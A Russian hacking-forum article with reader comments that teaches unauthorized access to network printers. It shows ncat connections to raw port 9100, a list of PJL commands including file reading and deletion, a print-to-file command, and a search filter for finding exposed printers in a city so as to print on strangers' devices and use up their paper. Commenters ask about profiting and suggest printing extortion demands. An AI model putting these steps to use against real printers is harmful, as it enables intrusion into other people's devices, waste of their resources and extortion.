Загрузка...

Балуемся с принтерами | Полный разбор

Тема в разделе Статьи создана пользователем амбассадоркуни 13 авг 2024. (поднята 18 ноя 2024) 830 просмотров

  1. амбассадоркуни
    амбассадоркуни Автор темы 13 авг 2024 скачивание... 109 23 авг 2023
    Привет, гость!

    Содержание
    • Подготовка
    • Подключаемся к принтеру
    • Вытворяем пакости
    • Как послать документ на печать?
    • Как массово искать принтеры ?

    Подготовка
    Для начала, нам нужно скачать Nmap:

    Качаем Nmap с официального сайта
    [IMG]
    Обязательно смотрим,что бы данная галочка у нас стояла!

    После установки,заходим в командную строку (Win+R и вписываем cmd)
    [IMG]
    Я покажу на примере своего принтера (HP LasetJet CP1525n)

    Для подключения к принтеру, нам нужно убедится что принтер подключен к интернету
    (на более свежих моделях можно выполнить подключение по WI-FI)
    Вписываем в командную строку команду ncat -v ,но для начала разберем что это значит:

    Команда ncat вызывает в действие саму программу,а параметр -v означает verboose mode (простыми словами,подробный вывод в консоль)

    Далее,нам нужно вписать IP адрес нашего принтера,его можно узнать на экранчике принтера,или зайдя в панель роутера. И добавить порт 9100

    Получается вот так:
    [IMG]
    Нажимаем Enter,
    [IMG]
    И как видим мы подключились,а на принтере один раз моргнула лампочка
    Вытворяем Пакости
    Для начала,давайте узнаем какие языки поддерживают принтеры:
    Принтеры поддерживают несколько языков, PJL (Printer Job Language) PostScript и PCL (Printer Common Language)
    В данном случае я буду использовать PJL,вот большинство команд для принтера:
    HTML
    1. @PJL INFO ID- Запрашивает идентификационную информацию о принтере.



    2. @PJL INFO STATUS - Запрашивает текущий статус принтера.



    3. @PJL INFO VARIABLES - Запрашивает переменные, которые могут быть установлены на принтере.



    4. @PJL JOB - Начинает новое задание на принтере.



    5. @PJL EOJ - Завершает текущее задание на принтере.



    6. @PJL SET - Устанавливает переменные для текущего задания.



    7. @PJL DEFAULT - Восстанавливает переменные до их значений по умолчанию.



    8. @PJL USTATUS - Запрашивает пользовательский статус принтера.



    9. @PJL RDYMSG - Запрашивает сообщение готовности принтера.



    10. @PJL COMMENT - Добавляет комментарий в задание.



    11. @PJL ENTER LANGUAGE - Переключает принтер на другой язык описания задания, например PCL или PostScript.



    12. @PJL RESET - Сбрасывает принтер в начальное состояние.



    13. @PJL FSQUERY - Запрашивает файл с принтера.



    14. @PJL FSDELETE - Удаляет файл с принтера.



    15. @PJL FSDIRLIST- Запрашивает список файлов в директории принтера.


    Как послать документ на печать?
    1. Создаем файл​
    2. Вписываем текст (или можно фотку например)​
    3. И вписываем данную команду:​

    C
    ncat -v айпи < (символ < обязателен! и тут файл) C:\123.txt


    И как видим,все отправилось!
    [IMG]

    Как массово искать принтеры?
    Заходим на данный сервис и вписываем такой фильтр: device:"printer" +port:9100 +city:(тут город,я впишу moscow)

    [IMG]


    И видим адреса!

    Давайте попробуем подключится,и отправить наш документ!

    [IMG]
    Только что мы потратили всю бумагу у принтера :)


    гость Спасибо что прочитал мою статью :3
     
    Этот материал оказался полезным?
    Вы можете отблагодарить автора темы путем перевода средств на баланс
    Отблагодарить автора
  2. COLDVISIONS
    COLDVISIONS 13 авг 2024 Статус не продается 3764 12 янв 2022
    Пакостник
     
  3. exepert
    exepert 13 авг 2024 Оплачу :hamster: вашу покупку 5396 25 ноя 2018
    ждём статью о том что можно сделать на 3D принтере
     
    1. амбассадоркуни Автор темы
      exepert, пока нету 3D принтера,но я думаю такие лазейки и на нем есть!
  4. Lacorner
    Lacorner 13 авг 2024 2 6 окт 2022
    Если принтер подключается по кабелю, то тогда не выйдет ничего?
     
    1. амбассадоркуни Автор темы
      Lacorner, думаю выйдет,но смысл от этого?
  5. scraizis
    scraizis 14 авг 2024 25 28 дек 2023
    Там же одним пакетом только 1 задание
     
    1. амбассадоркуни Автор темы
      scraizis, ну да,но символов в этом пакете ты можешь до 128 мб отправить,оно же все не поместиться на одну страницу
  6. sexillion
    sexillion 14 авг 2024 1 2 май 2022
    Это чисто пошкодить или профиты можно какие-то придумать отсюда?
     
    1. Посмотреть предыдущие комментарии (3)
    2. scraizis
      амбассадоркуни, ну типа того) под предлогом того, что ты так же "можешь" взломать и все устройства в сети
    3. амбассадоркуни Автор темы
      scraizis, ну если он совсем дурачок то можно
    4. scraizis
  7. Reydar
    Reydar 14 авг 2024 55 30 окт 2023
    Меня пугают способы использования этого метода ._.
    А я, как человек с хорошей фантазией, уже придумал несколько способов ._.
     
    14 авг 2024 Изменено
    1. амбассадоркуни Автор темы
    2. Reydar
      амбассадоркуни, один из простейших - текст: "мы смогли взломать твое устройство. Переведи #$ на #, чтобы мы забыли о тебе и не распространяли твою информацию". Почему мне в голову всегда лезет противозаконный мусор?!
      14 авг 2024 Изменено
  8. IvanZher
    IvanZher 14 авг 2024 Deixa Chapar | 5432 34 1 ноя 2021
Top
Загрузка...